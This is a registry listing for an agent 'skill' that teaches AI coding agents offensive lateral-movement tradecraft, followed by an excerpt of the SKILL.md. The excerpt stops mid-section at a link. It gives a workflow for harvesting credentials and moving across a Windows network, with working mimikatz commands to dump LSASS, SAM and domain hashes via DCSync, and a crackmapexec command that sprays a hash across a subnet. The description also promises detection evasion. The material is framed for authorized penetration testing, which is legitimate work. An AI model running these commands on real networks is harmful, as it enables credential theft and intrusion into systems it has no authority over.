# Offensive Lateral Movement

Comprehensive lateral movement tradecraft for authorized red team engagements covering...

- Repository: https://github.com/SnailSploit/Claude-Red (10186 stars)
- Category: Testing
- License: MIT
- Last updated: 2026-10-12
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add SnailSploit/Claude-Red --skill offensive-lateral-movement -g -a claude-code -y`
Codex: `npx skills add SnailSploit/Claude-Red --skill offensive-lateral-movement -g -a codex -y`
Cursor: `npx skills add SnailSploit/Claude-Red --skill offensive-lateral-movement -g -a cursor -y`
Gemini CLI: `npx skills add SnailSploit/Claude-Red --skill offensive-lateral-movement -g -a gemini-cli -y`

## Description

Comprehensive lateral movement tradecraft for authorized red team engagements covering credential-based movement (pass-the-hash, pass-the-ticket, overpass-the-hash), NTLM relay attacks (ntlmrelayx with PetitPotam, DFSCoerce, PrinterBug coercion), remote execution protocols (WMI, WinRM, DCOM, PsExec and alternatives), RDP session hijacking, and network pivoting through tunneling tools (chisel, ligolo-ng, SSH tunnels, SOCKS proxies). Provides operator-ready command sequences for mimikatz, crackmapexec/netexec, impacket suite, and evil-winrm with emphasis on OPSEC considerations, SMB signing bypass, and detection evasion. Maps to MITRE ATT&CK T1021 (Remote Services), T1550 (Use Alternate Authentication Material), and sub-techniques. Includes defender-perspective detection guidance for blue team awareness and a rapid engagement cheatsheet for common lateral movement scenarios encountered during internal penetration tests and assumed-breach exercises.

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# Offensive Lateral Movement

Lateral movement is the phase where you expand access across a network after
initial compromise. You pivot from one system to another using harvested
credentials, token manipulation, or protocol abuse. The goal is to reach
high-value targets -- domain controllers, database servers, file shares --
while minimizing detection footprint. Every technique here assumes you hold
at least one valid credential or session token on the current host.

This skill covers credential-based movement, NTLM relay, remote execution
protocols, session hijacking, and network tunneling. Apply these in authorized
engagements only.

## Quick Workflow

1. Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
2. Harvest credentials from the current host (LSASS, SAM, cached creds).
3. Test credential reuse across discovered hosts with crackmapexec/netexec.
4. Select a movement technique based on available credentials and target services.
5. Establish persistence on the new host before moving further.
6. Set up tunneling if you need to reach segmented networks.
7. Document each pivot for your engagement report.

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## Pass-the-Hash

Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing
the plaintext password. You extract hashes from LSASS, the SAM database, or
NTDS.dit, then inject them into authentication requests.

Extract hashes with mimikatz on the current host:

```powershell
# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords

# Dump SAM hashes (requires SYSTEM)
lsadump::sam

# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv
```

Use crackmapexec (or netexec) to spray the hash across the network:

```bash
# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

The rest: https://github.com/SnailSploit/Claude-Red/blob/HEAD/Skills/post-exploitation/offensive-lateral-movement/SKILL.md